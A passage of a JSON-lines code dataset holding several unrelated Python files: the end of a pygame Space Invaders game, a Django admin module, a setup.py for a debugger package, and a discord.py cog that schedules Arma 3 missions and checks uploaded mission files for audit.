pygame.display.set_mode((WIDTH, HEIGHT))\r\n\r\nLIVES = 3\r\nlive_surf = pygame.image.load(\"images/pngegg.png\").convert_alpha()\r\nlive_x_start_pos = WIDTH - (live_surf.get_size()[0] * 2 + 20)\r\nscore = 0\r\n\r\nbackground = pygame.image.load(\"images/backround.png\")\r\nscreen.blit(background, (0, 0))\r\nclock = pygame.time.Clock()\r\n\r\nplayer = Player()\r\nplayer_group = pygame.sprite.GroupSingle()\r\nplayer_group.add(player)\r\n\r\nlaser = Laser(player.rect.center, \"player\")\r\nlaser_group_player = pygame.sprite.Group()\r\nlaser_group_alien = pygame.sprite.Group()\r\n\r\nobstacle_group = pygame.sprite.Group()\r\nfor i in range(3):\r\n obstacle = Obstacle(150 + i * 250)\r\n obstacle_group.add(obstacle)\r\n\r\n\r\ndef Collision_Check():\r\n global score\r\n global LIVES\r\n for laser in laser_group_player.sprites():\r\n if pygame.sprite.spritecollide(laser, obstacle_group, False):\r\n laser.kill()\r\n if pygame.sprite.spritecollide(laser, alien_group, True):\r\n laser.kill()\r\n score += 100\r\n collision_sound.play()\r\n for laser in laser_group_alien.sprites():\r\n if pygame.sprite.spritecollide(laser, player_group, False):\r\n LIVES -= 1\r\n if LIVES <= 0:\r\n pygame.quit()\r\n exit()\r\n if pygame.sprite.spritecollide(laser, obstacle_group, False):\r\n laser.kill()\r\n\r\n\r\ndef display_lives():\r\n global LIVES\r\n for live in range(LIVES):\r\n x = live_x_start_pos + (live * live_surf.get_width()) + 15\r\n screen.blit(live_surf, (x, 550))\r\n\r\n\r\ndef display_score():\r\n font = pygame.font.SysFont(\"arial\", 30, bold=True)\r\n score_surf = font.render(f\"score: {score}\", False, \"white\")\r\n score_rect = score_surf.get_rect(topleft=(0, 550))\r\n screen.blit(score_surf, score_rect)\r\n\r\n\r\ndef victory():\r\n if not alien_group.sprites():\r\n font = pygame.font.SysFont(\"arial\", 30, bold=True)\r\n victory_surf = font.render('You won', False, 'white')\r\n victory_rect = victory_surf.get_rect(center=(WIDTH / 2, HEIGHT / 2))\r\n screen.blit(victory_surf, victory_rect)\r\n\r\n\r\nalien_group = pygame.sprite.Group()\r\nfor i in range(7):\r\n alien = Aliens((200 + i * 65), 55, \"images/pngegg (1).png\")\r\n alien_group.add(alien)\r\nfor i in range(7):\r\n alien = Aliens((200 + i * 65), 110, \"images/pngegg (2).png\")\r\n alien_group.add(alien)\r\nfor i in range(7):\r\n alien = Aliens((200 + i * 65), 165, \"images/pngegg (2).png\")\r\n alien_group.add(alien)\r\nfor i in range(7):\r\n alien = Aliens((200 + i * 65), 220, \"images/pngegg (3).png\")\r\n alien_group.add(alien)\r\n\r\n# obstacle_group = pygame.sprite.Group()\r\nALIENLASER = pygame.USEREVENT + 1\r\npygame.time.set_timer(ALIENLASER, 800)\r\n\r\n#\r\nmusic_back = pygame.mixer.Sound(\"music/music.wav\")\r\nmusic_back.set_volume(0.2)\r\nmusic_back.play(-1)\r\nlaser_sound = pygame.mixer.Sound(\"music/laser.wav\")\r\nlaser_sound.set_volume(0.3)\r\ncollision_sound = pygame.mixer.Sound(\"music/explosion.wav\")\r\ncollision_sound.set_volume(0.3)\r\n\r\nwhile True:\r\n pygame.display.update()\r\n screen.blit(background, (0, 0))\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n exit()\r\n # if event.type == ALIENLASER:\r\n # laser.update()\r\n\r\n player_group.draw(screen)\r\n laser_group_alien.draw(screen)\r\n laser_group_player.draw(screen)\r\n alien_group.draw(screen)\r\n obstacle_group.draw(screen)\r\n Collision_Check()\r\n alien_group.update()\r\n player_group.update()\r\n display_lives()\r\n display_score()\r\n victory()\r\n pygame.display.update()\r\n clock.tick(45)\r\n","repo_name":"RoyBonney1/SpaceInvaders","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42557356514","text":"from django.contrib import admin\n\nfrom tars.server import models\n\n\nclass GroupAdmin(admin.ModelAdmin):\n list_display = ('name',)\nadmin.site.register(models.Group, GroupAdmin)\n\n\nclass ServerAdmin(admin.ModelAdmin):\n list_display = ('hostname', 'ip_address')\nadmin.site.register(models.Server, ServerAdmin)\n\n\nclass JoinedGroupAdmin(admin.ModelAdmin):\n list_display = ('id', 'name', 'app_id')\n search_fields = ('id', 'application__id')\n fields = ('aggregation', 'application')\n filter_horizontal = ('aggregation',)\n actions = ('drop_joined_group',)\n\n def app_id(self, obj):\n return obj.application_id\n\n def get_form(self, request, obj=None, **kwargs):\n \"\"\" hack to add filter to source of ModelMultipleChoiceField on field 'aggregation.choice' \"\"\"\n form = super(JoinedGroupAdmin, self).get_form(request, obj, **kwargs)\n\n datasource = models.Group.objects.exclude(g_type=models.Group.G_TYPE_ENUM.join)\n\n if obj:\n datasource = datasource.filter(application_id=obj.application_id)\n\n # ModelChoiceIterator should be a tuple of prepared_val and lable\n new_choices = [(g.pk, \"G<%s> A<%s> %s\" % (g.pk, g.application_id, g.name)) for g in datasource]\n\n form.base_fields['aggregation'].choices = new_choices\n form.base_fields['aggregation'].required = False\n form.base_fields['application'].required = True\n\n return form\n\n def save_model(self, request, obj, form, change):\n obj.save()\n for g in form.cleaned_data['aggregation']:\n obj.join(g)\n\n def save_related(self, request, form, formsets, change):\n # pass, put save aggregation logic into save_model\n pass\n\n def drop_joined_group(self, request, selected_queryset):\n \"\"\" JoinedGroup.delete() is not same with Group.delete() \"\"\"\n for joined_group in selected_queryset:\n models.Group.objects.get(pk=joined_group.pk).delete()\n\n def get_actions(self, request):\n actions = super(JoinedGroupAdmin, self).get_actions(request)\n del actions['delete_selected']\n return actions\n\n# admin.site.register(models.JoinedGroup, JoinedGroupAdmin)\n\n","repo_name":"ctripcorp/tars","sub_path":"tars/server/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":364,"dataset":"github-code","pt":"67"} +{"seq_id":"73776318612","text":"from setuptools import setup\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetup(name=\"TDebugger\",\n version=\"0.2.3.1\",\n packages=[\"TDebugger\", \"TDebugger.TestAlgos\"],\n entry_points={\"console_scripts\": [\n \"TDebugger = TDebugger.TDebugger:main\"]},\n author=\"Jayesh Nirve\",\n author_email=\"nitinnirve@gmail.com\",\n description=\"A advanced python debugger with live tracing that outputs video logs of a program's execution.\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/CCExtractor/TDebugger\",\n license=\"GPL-2.0\",\n include_package_data=True,\n install_requires=['Pillow', 'opencv-python', 'numpy', 'pyyaml'],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.7\",\n ],\n )\n","repo_name":"CCExtractor/TDebugger","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"6342755308","text":"import discord\nfrom discord import app_commands\nfrom discord.ext import commands, tasks\n\nimport aiohttp\nfrom datetime import datetime, timedelta\nimport gspread_asyncio\nfrom gspread.utils import ValueInputOption\nfrom google.oauth2.service_account import Credentials\nimport pbokit\nimport re\nfrom typing import TypedDict\n\nimport blueonblue\nfrom blueonblue.defines import (\n\tMISSION_EMBED_ADVMED_COLOUR,\n\tMISSION_EMBED_COLOUR,\n\tMISSION_EMBED_WS_COLOUR,\n\tSCONF_CHANNEL_MISSION_AUDIT,\n\tSCONF_MISSION_SHEET_KEY,\n\tSCONF_MISSION_WORKSHEET,\n\tSCONF_MISSION_WIKI_URL\n)\n\nimport logging\n_log = logging.getLogger(__name__)\n\n\nISO_8601_FORMAT = \"%Y-%m-%d\"\n\nVALID_GAMETYPES = [\"coop\", \"tvt\", \"cotvt\", \"rptvt\", \"zeus\", \"zgm\", \"rpg\"]\n\nclass MissionFileNameInfo(TypedDict):\n\tgameType: str\n\tmap: str\n\tplayerCount: int\n\n\ndef _decode_file_name(filename: str) -> MissionFileNameInfo:\n\t\"\"\"Decodes the file name for a mission to collect information about it.\n\tReturns a dict of parameters if successful, otherwise raises an error.\"\"\"\n\n\tfileList = filename.split(\".\")\n\n\t# Check if the file name ends with \".pbo\"\n\tif fileList[-1:][0].casefold() != \"pbo\":\n\t\traise Exception(\"Missions can only be submitted in .pbo format.\")\n\n\t# Check if there are any erroneuous periods in the file name\n\tif len(fileList) > 3:\n\t\traise Exception(\"File names can only have periods to denote the map and file extension.\")\n\tif len(fileList) < 3:\n\t\traise Exception(\"File name appears to be missing the map definition.\")\n\n\t# Get our map extension\n\tmapName = fileList[-2:][0].casefold()\n\n\t# Split up our map name\n\tnameList = fileList[0].split(\"_\")\n\n\t# Check if the mission is a test mission\n\tif nameList[0].casefold() == \"test\":\n\t\tdel nameList[0]\n\n\tif len(nameList) == 0:\n\t\traise Exception(\"File name appears to be missing the gametype and playercount\")\n\n\t# Check the mission type\n\tgameType = nameList[0].casefold()\n\tif not (gameType in VALID_GAMETYPES):\n\t\traise Exception(f\"`{gameType}` is not a valid mission type!\")\n\n\t# Grab the player count\n\ttry:\n\t\tplayerCount = int(nameList[1])\n\texcept:\n\t\traise Exception(\"I could not determine the player count in your mission.\")\n\n\tmissionInfo: MissionFileNameInfo = {\"gameType\": gameType, \"map\": mapName, \"playerCount\": playerCount}\n\treturn missionInfo\n\n\nclass MissionAuditView(blueonblue.views.AuthorResponseViewBase):\n\t\"\"\"View for mission audits\n\tUsed to hold the button to trigger the audit modal upon the audit checks succeeding\"\"\"\n\tmessage: discord.WebhookMessage\n\tdef __init__(self,\n\t bot: blueonblue.BlueOnBlueBot,\n\t\tauthor: discord.User|discord.Member,\n\t\tauditFile: discord.Attachment,\n\t\t*args,\n\t\tmodpackFile: discord.Attachment|None,\n\t\ttimeout: float = 600.0, **kwargs,\n\t):\n\t\tself.bot = bot\n\t\tself.auditFile = auditFile\n\t\tself.modpackFile = modpackFile\n\t\tsuper().__init__(author, *args, timeout=timeout, **kwargs)\n\t\tself.add_item(MissionAuditButton())\n\n\nclass MissionAuditButton(discord.ui.Button):\n\t\"\"\"Button to trigger the audit modal to appear\"\"\"\n\tview: MissionAuditView\n\tdef __init__(self, *args, label: str = \"Submit Audit\", style: discord.ButtonStyle = discord.ButtonStyle.primary, **kwargs):\n\t\tsuper().__init__(*args, label = label, style = style, **kwargs)\n\n\tasync def callback(self, interaction: discord.Interaction):\n\t\t# Send the modal response\n\t\tauditModal = MissionAuditModal(\n\t\t\tself.view,\n\t\t\tself.view.auditFile,\n\t\t\tmodpackFile = self.view.modpackFile)\n\t\tawait interaction.response.send_modal(auditModal)\n\n\nclass MissionAuditModal(discord.ui.Modal, title = \"Mission Audit Notes\"):\n\tdef __init__(self,\n\t originalView: MissionAuditView,\n\t\tauditFile: discord.Attachment,\n\t\t*args,\n\t\tmodpackFile: discord.Attachment|None,\n\t\ttimeout = 1200,\n\t\t**kwargs,\n\t):\n\t\tself.originalView = originalView\n\t\tself.auditFile = auditFile\n\t\tself.modpackFile = modpackFile\n\t\tsuper().__init__(*args, timeout = timeout, **kwargs)\n\n\taudit_notes = discord.ui.TextInput(\n\t\tlabel = \"Please enter your audit notes here\",\n\t\tstyle = discord.TextStyle.long,\n\t\tplaceholder = \"Ex. Added more tasks, removed some vehicles, etc.\",\n\t\trequired = True,\n\t\tmax_length = 1500\n\t)\n\n\tasync def on_submit(self, interaction: discord.Interaction):\n\t\t# This modal should only ever appear in a guild context\n\t\tassert interaction.guild is not None\n\n\t\tawait self.originalView.terminate() # Terminate the original view when the modal is submitted\n\t\t# We need to respond to the modal so that it doesn't error out\n\t\tawait interaction.response.send_message(\"Audit received. Beginning upload.\",ephemeral=True)\n\n\t\t# Old code below\n\t\tauditChannel = await self.originalView.bot.serverConfig.channel_mission_audit.get(interaction.guild)\n\n\t\tif auditChannel is None:\n\t\t\t# This should never trigger since this check is also done in the originl audit command\n\t\t\t# But we're going to keep it here anyways\n\t\t\tawait interaction.followup.send(\"I could not locate the audit channel to submit this mission for auditing. Please contact the bot owner.\")\n\t\t\treturn\n\n\t\tassert isinstance(auditChannel, discord.TextChannel)\n\n\t\t# Start creating our audit message\n\t\tif self.modpackFile is None:\n\t\t\tauditMessage = f\"Mission submitted for audit by {interaction.user.mention}.\"\n\t\telse:\n\t\t\tauditMessage = f\"Modnight mission submitted for audit by {interaction.user.mention}.\"\n\n\t\t# The audit message is required now, so we can append it to the end.\n\t\tauditMessage += f\" Notes from the mission maker below \\n```\\n{self.audit_notes.value}```\"\n\n\t\tmissionFileObject = await self.auditFile.to_file()\n\t\tauditFiles = [missionFileObject]\n\t\tif self.modpackFile is not None:\n\t\t\tauditFiles.append(await self.modpackFile.to_file())\n\n\t\t# Send our message to the audit channel\n\t\tauditMessageObject = await auditChannel.send(auditMessage, files = auditFiles)\n\n\t\t# Try to pin our message\n\t\ttry:\n\t\t\tawait auditMessageObject.pin()\n\t\texcept discord.Forbidden:\n\t\t\tawait auditChannel.send(\"I do not have permissions to pin this audit.\")\n\t\texcept discord.NotFound:\n\t\t\tawait auditChannel.send(\"I ran into an issue pinning an audit message.\")\n\t\texcept discord.HTTPException:\n\t\t\tawait auditChannel.send(\"Pinning the audit message failed. The pin list might be full!\")\n\n\t\t# Let the user know that their mission is being submitted for audit.\n\t\tawait interaction.followup.send(f\"{interaction.user.mention}, your mission `{self.auditFile.filename}` has been submitted for audit.\")\n\n\nclass Missions(commands.Cog, name = \"Missions\"):\n\t\"\"\"Commands and functions used to view and schedule missions\"\"\"\n\tdef __init__(self, bot, *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.bot: blueonblue.BlueOnBlueBot = bot\n\t\tself.agcm = gspread_asyncio.AsyncioGspreadClientManager(self._get_google_credentials) # Authorization manager for gspread\n\t\t# Initialize our mission cache\n\t\tself.missionCache = {}\n\n\tasync def cog_load(self):\n\t\tself.mission_cache_update_loop.start()\n\n\tasync def cog_unload(self):\n\t\tself.mission_cache_update_loop.stop()\n\n\tdef _get_google_credentials(self):\n\t\taccountFile = self.bot.config.google_api_file\n\t\tscopes = [\"https://spreadsheets.google.com/feeds\"]\n\t\tcreds = Credentials.from_service_account_file(accountFile, scopes = scopes)\n\t\treturn creds\n\n\t@tasks.loop(hours=1, reconnect = True)\n\tasync def mission_cache_update_loop(self):\n\t\t\"\"\"Periodically updates the mission cache\"\"\"\n\t\t_log.debug(\"Updating mission cache\")\n\t\tawait self._update_all_caches()\n\t\t_log.debug(\"Mission cache update complete\")\n\n\t@mission_cache_update_loop.before_loop\n\tasync def before_mission_cache_loop(self):\n\t\t# Wait until the bot is ready\n\t\tawait self.bot.wait_until_ready()\n\n\tasync def _update_all_caches(self):\n\t\t\"\"\"Updates all guild caches present on the bot.\n\t\tPurges the existing cache before updating.\"\"\"\n\t\tself.missionCache = {}\n\t\tfor guild in self.bot.guilds:\n\t\t\tawait self._update_guild_cache(guild)\n\n\tasync def _update_guild_cache(self, guild: discord.Guild):\n\t\t\"\"\"Updates the mission cache for a single guild\"\"\"\n\t\twikiURL = await self.bot.serverConfig.mission_wiki_url.get(guild)\n\t\tif wikiURL is not None:\n\t\t\t# Guild has a wiki URL defined\n\t\t\tasync with self.bot.httpSession.get(f\"{wikiURL}/api.php\", params = {\n\t\t\t\t\"action\": \"parse\",\n\t\t\t\t\"page\": \"Audited Mission List\",\n\t\t\t\t\"prop\": \"wikitext\",\n\t\t\t\t\"section\": 1,\n\t\t\t\t\"format\": \"json\"\n\t\t\t}) as response:\n\t\t\t\tif response.status != 200: # Request failed\n\t\t\t\t\treturn\n\t\t\t\t# Get the data from our request\n\t\t\t\tresponseData: dict = await response.json()\n\t\t\t\tif \"parse\" not in responseData: # Invalid response from wiki\n\t\t\t\t\treturn\n\n\t\t\tresponseText: str = responseData[\"parse\"][\"wikitext\"][\"*\"]\n\t\t\tresponseLines = responseText.split(\"\\n\")\n\t\t\tmissionList: list[str] = []\n\t\t\tfor line in responseLines:\n\t\t\t\tif not line.startswith(\"{{\"):\n\t\t\t\t\t# We only care if the line starts with {{\n\t\t\t\t\tcontinue\n\t\t\t\t# Remove the leading and trailing braces\n\t\t\t\tline = line.replace(\"{\",\"\").replace(\"}\",\"\")\n\t\t\t\t# Split the line by pipe\n\t\t\t\tline = line.split(\"|\")\n\t\t\t\t# Delete the first value, this ends up being the wiki template name\n\t\t\t\tdel line[0]\n\t\t\t\t# Append the mission name to the mission list\n\t\t\t\tmissionList.append(line[0])\n\n\t\t\t# Set the cache from our mission list\n\t\t\tself.missionCache[guild.id] = missionList\n\n\t\telse:\n\t\t\t# Guild has no wiki URL defined\n\t\t\tself.missionCache[guild.id] = []\n\n\tasync def mission_autocomplete(self, interaction: discord.Interaction, current: str):\n\t\t\"\"\"Function to handle autocompletion of missions present on the audit list\"\"\"\n\t\tif (interaction.guild is None) or (interaction.guild.id not in self.missionCache):\n\t\t\t# If the guild doesn't exist, or the cache doesn't exist return nothing\n\t\t\treturn []\n\t\telse:\n\t\t\t# Command called in guild, and cache exists for that guild\n\t\t\treturn[app_commands.Choice(name=mission, value=mission) for mission in self.missionCache[interaction.guild.id] if current.lower() in mission.lower()][:25]\n\n\t@app_commands.command(name = \"missions\")\n\t@app_commands.guild_only()\n\t@blueonblue.checks.has_configs(\n\t\tSCONF_MISSION_SHEET_KEY,\n\t\tSCONF_MISSION_WORKSHEET,\n\t\tSCONF_MISSION_WIKI_URL\n\t)\n\tasync def missions(self, interaction: discord.Interaction):\n\t\t\"\"\"Displays a list of scheduled missions\"\"\"\n\n\t\t# Guild-only command. Guild will always be defined\n\t\tassert interaction.guild is not None\n\n\t\tmissionKey = await self.bot.serverConfig.mission_sheet_key.get(interaction.guild)\n\t\tassert missionKey is not None\n\t\tmissionWorksheetName = await self.bot.serverConfig.mission_worksheet.get(interaction.guild)\n\t\tassert missionWorksheetName is not None\n\t\twikiURL = await self.bot.serverConfig.mission_wiki_url.get(interaction.guild)\n\t\tassert wikiURL is not None\n\n\t\t# Immediately defer this action, since this can take some time.\n\t\tawait interaction.response.defer()\n\n\t\t# Authorize our connection to google sheets\n\t\tgoogleClient = await self.agcm.authorize()\n\n\t\t# Get the actual mission document\n\t\tmissionDoc = await googleClient.open_by_key(missionKey)\n\t\tmissionSheet = await missionDoc.worksheet(missionWorksheetName)\n\n\t\t# Get our spreadsheet contents\n\t\t# TODO: Change this to no longer require type ignore\n\t\tsheetData = await missionSheet.get_all_records(default_blank = None) # type: ignore\n\n\t\t# Get our current data\n\t\tmissionEmbeds = []\n\t\tfor row in sheetData:\n\t\t\t# Try to get a datetime object for the date\n\t\t\ttry:\n\t\t\t\tdateVar = datetime.strptime(row[\"Date\"], ISO_8601_FORMAT)\n\t\t\texcept:\n\t\t\t\t# Could not convert the date object\n\t\t\t\tdateVar = None\n\t\t\t# Only continue if we have all of the required information\n\t\t\tif (\n\t\t\t\tdateVar is not None and # Make sure we have a date object\n\t\t\t\trow[\"Mission\"] is not None and # Make sure that the \"mission\" value is not none\n\t\t\t\tdateVar.date() > (datetime.now() + timedelta(days=-1)).date() # Date is today, or in the future\n\t\t\t):\n\t\t\t\t# Get our data, and create our embed\n\t\t\t\tembedTitle = dateVar.date().strftime(f\"%A: {ISO_8601_FORMAT}\")\n\t\t\t\tmissionName: str = row[\"Mission\"]\n\t\t\t\tmissionMap: str = row[\"Map\"] if row[\"Map\"] is not None else \"Unknown\"\n\t\t\t\tmissionAuthor: str = row[\"Author(s)\"] if row[\"Author(s)\"] is not None else \"Unknown\"\n\t\t\t\tmissionNotes: str = row[\"Notes\"]\n\n\t\t\t\tmissionWS = True if ((\"Western Sahara\" in row.keys()) and ((row[\"Western Sahara\"] == \"TRUE\") or (missionMap == \"Sefrou-Ramal\"))) else False\n\t\t\t\tmissionAdvMed = True if row[\"Medical\"] == \"Advanced\" else False\n\n\t\t\t\tif wikiURL is not None:\n\t\t\t\t\t# Wiki exists\n\t\t\t\t\tembedURL = f\"{wikiURL}/wiki/\" + missionName.replace(\" \",\"_\")\n\t\t\t\telse:\n\t\t\t\t\tembedURL = None\n\n\t\t\t\t# Select our embed colour\n\t\t\t\tif missionWS:\n\t\t\t\t\tembedColour = MISSION_EMBED_WS_COLOUR # Western Sahara CDLC\n\t\t\t\telif missionAdvMed:\n\t\t\t\t\tembedColour = MISSION_EMBED_ADVMED_COLOUR # Advanced medical\n\t\t\t\telse:\n\t\t\t\t\tembedColour = MISSION_EMBED_COLOUR # Default blue\n\n\t\t\t\t# Adjust the embed title for CDLC or Adv Medical missions\n\t\t\t\tif missionWS:\n\t\t\t\t\tembedTitle += \", Western Sahara CDLC\"\n\t\t\t\tif missionAdvMed:\n\t\t\t\t\tembedTitle += \", Advanced Medical\"\n\n\t\t\t\t# Create our embed\n\t\t\t\tmissionEmbed = discord.Embed(\n\t\t\t\t\ttitle = embedTitle,\n\t\t\t\t\tcolour = embedColour\n\t\t\t\t)\n\t\t\t\t# See if we can get the mission image\n\t\t\t\ttry:\n\t\t\t\t\tasync with self.bot.httpSession.get(f\"{wikiURL}/api.php\", params = {\n\t\t\t\t\t\t\"action\": \"query\",\n\t\t\t\t\t\t\"format\": \"json\",\n\t\t\t\t\t\t\"prop\": \"pageimages\",\n\t\t\t\t\t\t\"titles\": missionName,\n\t\t\t\t\t\t\"pithumbsize\": \"250\"\n\t\t\t\t\t}) as response:\n\t\t\t\t\t\tresponsePages: dict = (await response.json())[\"query\"][\"pages\"]\n\t\t\t\t\t\tresponsePageData = responsePages[list(responsePages)[0]]\n\t\t\t\t\t\tif \"thumbnail\" in responsePageData:\n\t\t\t\t\t\t\t# Check to make sure that we don't exceed any height limits\n\t\t\t\t\t\t\tif responsePageData[\"thumbnail\"][\"height\"] <= 141: # 2:1 is ideal, but 16:9 is acceptable\n\t\t\t\t\t\t\t\t# We have a thumbnail to use\n\t\t\t\t\t\t\t\tmissionImageURL = responsePageData[\"thumbnail\"][\"source\"]\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tmissionImageURL = None\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t# No thumbnail for the mission\n\t\t\t\t\t\t\tmissionImageURL = None\n\n\t\t\t\t\tif missionImageURL is not None:\n\t\t\t\t\t\tmissionEmbed.set_image(url = missionImageURL)\n\t\t\t\texcept aiohttp.ClientResponseError as error:\n\t\t\t\t\tif error.status not in [404]:\n\t\t\t\t\t\t_log.warning(f\"Received HTTP error {error.status} from wiki when retrieving mission image for: {missionName}\")\n\t\t\t\t\tpass\n\t\t\t\texcept aiohttp.ClientConnectorError as error:\n\t\t\t\t\t_log.warning(f\"Unable to connect to mission wiki at {wikiURL} to retrieve mission images\")\n\t\t\t\texcept:\n\t\t\t\t\traise\n\n\t\t\t\t# Start adding our fields\n\t\t\t\t# Mission name\n\t\t\t\tif embedURL is not None:\n\t\t\t\t\t# URL exists\n\t\t\t\t\tmissionEmbed.add_field(name=\"Mission\", value=f\"[{missionName}]({embedURL})\", inline=True)\n\t\t\t\telse:\n\t\t\t\t\tmissionEmbed.add_field(name=\"Mission\", value=missionName, inline=True)\n\t\t\t\t# Map\n\t\t\t\tmissionEmbed.add_field(name=\"Map\", value=missionMap, inline=True)\n\t\t\t\tmissionEmbed.add_field(name=\"Author\", value=missionAuthor, inline=True)\n\t\t\t\tif missionNotes is not None:\n\t\t\t\t\tmissionEmbed.add_field(name=\"Notes\", value=missionNotes, inline=False)\n\t\t\t\t# Append our embed to our missionEmbeds array\n\t\t\t\tmissionEmbeds.append(missionEmbed)\n\n\t\t# Now that we have our embeds, get ready to send them\n\t\tif len(missionEmbeds) > 5:\n\t\t\t# We can only send five embeds at once\n\t\t\tmissionEmbeds = missionEmbeds[:5]\n\t\t\tmessage = \"The next five scheduled missions are:\"\n\t\telif len(missionEmbeds) == 0:\n\t\t\tmessage = \"There aren't any missions scheduled right now. Why don't you schedule one?\"\n\t\telse:\n\t\t\tmessage = None\n\t\t# Send our response\n\t\tif message is not None:\n\t\t\tawait interaction.followup.send(message, embeds=missionEmbeds)\n\t\telse:\n\t\t\tawait interaction.followup.send(embeds=missionEmbeds)\n\n\t@app_commands.command(name = \"audit\")\n\t@app_commands.describe(\n\t\tmissionfile = \"Mission file to audit. Must follow mission naming scheme\",\n\t\tmodpreset = \"Mod preset .html file\"\n\t)\n\t@app_commands.guild_only()\n\t@blueonblue.checks.has_configs(SCONF_CHANNEL_MISSION_AUDIT)\n\tasync def audit(self, interaction: discord.Interaction, missionfile: discord.Attachment, modpreset: discord.Attachment|None = None):\n\t\t\"\"\"Submits a mission for auditing\"\"\"\n\t\tassert interaction.guild is not None\n\n\t\tauditChannel = await self.bot.serverConfig.channel_mission_audit.get(interaction.guild)\n\t\tassert auditChannel is not None\n\n\t\t# Immediately defer the response\n\t\tawait interaction.response.defer()\n\n\t\t# Check to see if we have a mod preset\n\t\tif modpreset is not None:\n\t\t\t# Check if the mod preset has an .html extension\n\t\t\tif modpreset.filename.split(\".\")[-1].casefold() != \"html\":\n\t\t\t\tawait interaction.followup.send(\"Mod preset files must have a `.html` extension!\")\n\t\t\t\treturn\n\t\t\telse:\n\t\t\t\t# Since we have a mod preset, our mission file needs to be prefixed with \"MODNIGHT\"\n\t\t\t\tif missionfile.filename.split(\"_\",1)[0].casefold() != \"modnight\":\n\t\t\t\t\tawait interaction.followup.send(\"Modnight missions must be prefixed with `modnight`!\")\n\t\t\t\t\treturn\n\t\t\t\telse:\n\t\t\t\t\t# Mission file is prefixed with modnight\n\t\t\t\t\t# Store our file name with the \"modnight\" removed for validation\n\t\t\t\t\tmissionFilename = missionfile.filename.split(\"_\",1)[-1]\n\t\telse:\n\t\t\t# No mod preset\n\t\t\t# Check to make sure that we don't have a modnight mission\n\t\t\tif missionfile.filename.split(\"_\",1)[0].casefold() == \"modnight\":\n\t\t\t\tawait interaction.followup.send(\"Modnight missions must be submitted with a mod preset `.html` file!\")\n\t\t\t\treturn\n\t\t\telse:\n\t\t\t\tmissionFilename = missionfile.filename\n\n\t\t# Validate the mission name\n\t\ttry:\n\t\t\tmissionInfo = _decode_file_name(missionFilename)\n\t\texcept Exception as exception:\n\t\t\tawait interaction.followup.send(f\"{exception.args[0]}\"\n\t\t\t\tf\"\\n{interaction.user.mention}, I encountered some errors when submitting your mission `{missionfile.filename}` for auditing. \"\n\t\t\t\t\"Please ensure that your mission file name follows the correct naming format.\"\n\t\t\t\t\"\\nExample: `coop_52_daybreak_v1_6.Altis.pbo`\")\n\t\t\treturn\n\n\t\t# Start doing some validation on the contents of the mission file\n\t\ttry:\n\t\t\tmissionFileBytes = await missionfile.read()\n\t\t\t#missionPBO = pboutil.PBOFile.from_bytes(missionFileBytes)\n\t\t\tmissionPBO = pbokit.PBO.from_bytes(missionFileBytes)\n\t\texcept:\n\t\t\tawait interaction.followup.send(\"I encountered an error verifying the validity of your mission file.\"\n\t\t\t\t\"\\nPlease ensure that you are submitting a mission in PBO format, exported from the Arma 3 editor.\")\n\t\t\treturn\n\n\t\t# PBO file is good, scan the description.ext\n\t\ttry:\n\t\t\tif missionPBO.has_file(\"description.ext\"):\n\t\t\t\tdescriptionFile = missionPBO[\"description.ext\"].as_str()\n\t\t\telse:\n\t\t\t\traise Exception\n\t\texcept:\n\t\t\tawait interaction.followup.send(\"I encountered an issue reading your mission's `description.ext` file.\"\n\t\t\t\t\"\\nPlease ensure that your mission contains a description.ext file, with a filename in all-lowercase.\")\n\t\t\treturn\n\n\t\t# Use a regex search to find the briefingName in the description.ext file\n\t\tbriefingMatch = re.search(r\"(?<=^briefingName\\s=\\s[\\\"\\'])[^\\\"\\']*\", descriptionFile, re.I | re.M)\n\n\t\tif briefingMatch is None:\n\t\t\tawait interaction.followup.send(\"I could not determine the `briefingName` of your mission from its `description.ext` file.\"\n\t\t\t\t\"\\nPlease ensure that your mission has a `briefingName` defined.\")\n\t\t\treturn\n\n\t\tbriefingName = briefingMatch.group()\n\n\t\t# Now that we have the briefingName, we need to validate it.\n\t\t# Correct naming structure: COOP 52+2 - Daybreak v1.8\n\t\t# Start by setting up a regex match for the briefing name\n\t\tbriefingRe = re.compile(\n\t\t\tr\"^(?P<modnight>modnight )?(?:(?P<gametype>[a-zA-Z]+) )?\" \\\n\t\t\tr\"(?P<playercount>\\d+)?(?:\\+(?P<extracount>\\d*))? ?(?:\\- *)?(?P<name>.*?)\" \\\n\t\t\tr\"(?: v?(?P<version>\\d+(?:\\.\\d+)*?))?$\",\n\t\t\tre.MULTILINE + re.IGNORECASE\n\t\t)\n\n\t\t# Scan the briefing name to extract information\n\t\tbriefingNameMatch = briefingRe.fullmatch(briefingName)\n\n\t\t# If the briefingName did not follow the format specified by the regex\n\t\tif briefingNameMatch is None:\n\t\t\tawait interaction.followup.send(f\"The `briefingName` entry in your `description.ext` file does not appear to follow the mission naming guidelines.\"\n\t\t\t\t\"\\nPlease ensure that your mission is named according to the mission naming guidelines. Example: `COOP 52+1 - Daybreak v1.8`.\",\n\t\t\t\tephemeral = True)\n\t\t\treturn\n\n\t\tbModnight = briefingNameMatch.group(\"modnight\")\n\t\tbGametype = briefingNameMatch.group(\"gametype\")\n\t\tbPlayerCount = briefingNameMatch.group(\"playercount\")\n\t\tbExtraCount = briefingNameMatch.group(\"extracount\")\n\t\tbName = briefingNameMatch.group(\"name\")\n\t\tbVersion = briefingNameMatch.group(\"version\")\n\n\t\t# briefingName exists, check to make sure that we have detected a gametype, playercont, name, and version\n\t\tif (modpreset is not None) and (bModnight is None):\n\t\t\tawait interaction.followup.send(\"Modnight missions must have their `briefingName` entries in `description.ext` prefixed with 